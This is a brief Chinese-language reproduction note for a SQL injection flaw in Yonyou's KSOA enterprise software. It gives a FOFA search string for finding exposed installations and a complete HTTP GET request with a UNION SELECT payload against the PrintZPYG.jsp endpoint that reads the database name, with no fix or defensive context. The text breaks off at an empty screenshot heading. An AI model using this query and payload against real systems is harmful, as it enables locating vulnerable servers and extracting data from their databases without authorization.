Y22-11用友-时空KSOA-SQL

fofa语法：

app=“用友-时空KSOA”

漏洞复现：

查询第一个数据库名称
payload：

GET /kp/PrintZPYG.jsp?zpjhid=1%27+union+select+1,2,db_name(1),4,5,6,7,8,9,10,11,12,13,14+--+ HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close

效果图：